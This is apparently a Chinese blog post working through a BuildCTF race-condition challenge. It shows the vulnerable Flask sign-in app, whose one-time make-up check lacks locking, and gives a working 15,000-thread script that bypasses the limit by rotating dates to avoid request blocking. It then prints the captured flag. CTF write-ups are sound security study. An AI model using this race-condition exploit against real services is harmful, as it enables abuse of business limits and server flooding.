条件竞争

发布于 7 天前  7 次阅读


条件竞争

一个结构体之类的来储存,且无锁,或者没锁完全就可能达成这一漏洞

多线程脚本都差不多

要注意的是因为网络问题之类的,不要重复发同样的包,可能无响应被拦截

此处的str(i % 30 + 1).zfill(2)就是因为这个,500次其实是每个日期30次交替500次

事先创建足够的 Barrier 对象可以让线程更同步

fake_signin

先看源码

import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
    'admin': {
        'password': 'admin',
        'signins': {},
        'supplement_count': 0,  
    }
}

@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('view_signin'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['user'] = username
            return redirect(url_for('view_signin'))
    return render_template('login.html')

@app.route('/view_signin')
def view_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
             for i in range(1, 31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
    return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")

    if today not in user['signins']:
        user['signins'][today] = True
    return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
    session.pop('user', None)   
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5051)

可以看到要到达30次签到才有flag

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

主要补签逻辑在这,只有一个条件判断,而且是对一个全局字典进行操作,存在条件竞争

并发同时发送30个日期的补签请求即可

但是有一个问题(可能是服务器哪里的一个机制)相同的post短时间并发请求多次会被拦截

所以要30个日期换着发

import requests
import threading

BASE_URL = "http://27.25.151.80:42889"

login_data = {
    "username": "admin", 
    "password": "admin", 
}

# 创建会话来保存用户的登录状态
session = requests.Session()

# 登录请求
login_url = f"{BASE_URL}/login"
login_response = session.post(login_url, data=login_data)

# 检查登录是否成功
if login_response.status_code == 200:
    print("登录成功")

# 创建 Barrier 对象,确保 15000 个线程同时开始
barrier = threading.Barrier(15000)

# 补签函数,模拟发送请求
def supplement_signin(session, supplement_date):
    # 等待所有线程到达 barrier
    barrier.wait()

    supplement_url = f"{BASE_URL}/supplement_signin"
    data = {"supplement_date": supplement_date}
    response = session.post(supplement_url, data=data)

    if response.status_code == 200:
        print(f"{supplement_date} 补签成功")
    else:
        print(f"{supplement_date} 补签失败,状态码:{response.status_code}")

threads = []
for i in range(1, 501):  # 往复30个日期共500次
    for _ in range(30):
        date = f"2024-09-{str(i % 30 + 1).zfill(2)}"  # 确保日期在 01-30 之间
        t = threading.Thread(target=supplement_signin, args=(session, date))
        threads.append(t)

# 启动所有线程
for t in threads:
    t.start()

# 等待所有线程执行完毕
for t in threads:
    t.join()

print(f"共发起了 {len(threads)} 个补签请求")

bc62fd428ef9150a3df776358af4d33d

BuildCTF{ec417137-2e5d-435c-870d-c6c4dfd921d7}

QQ:2219349024
最后更新于 2024-11-27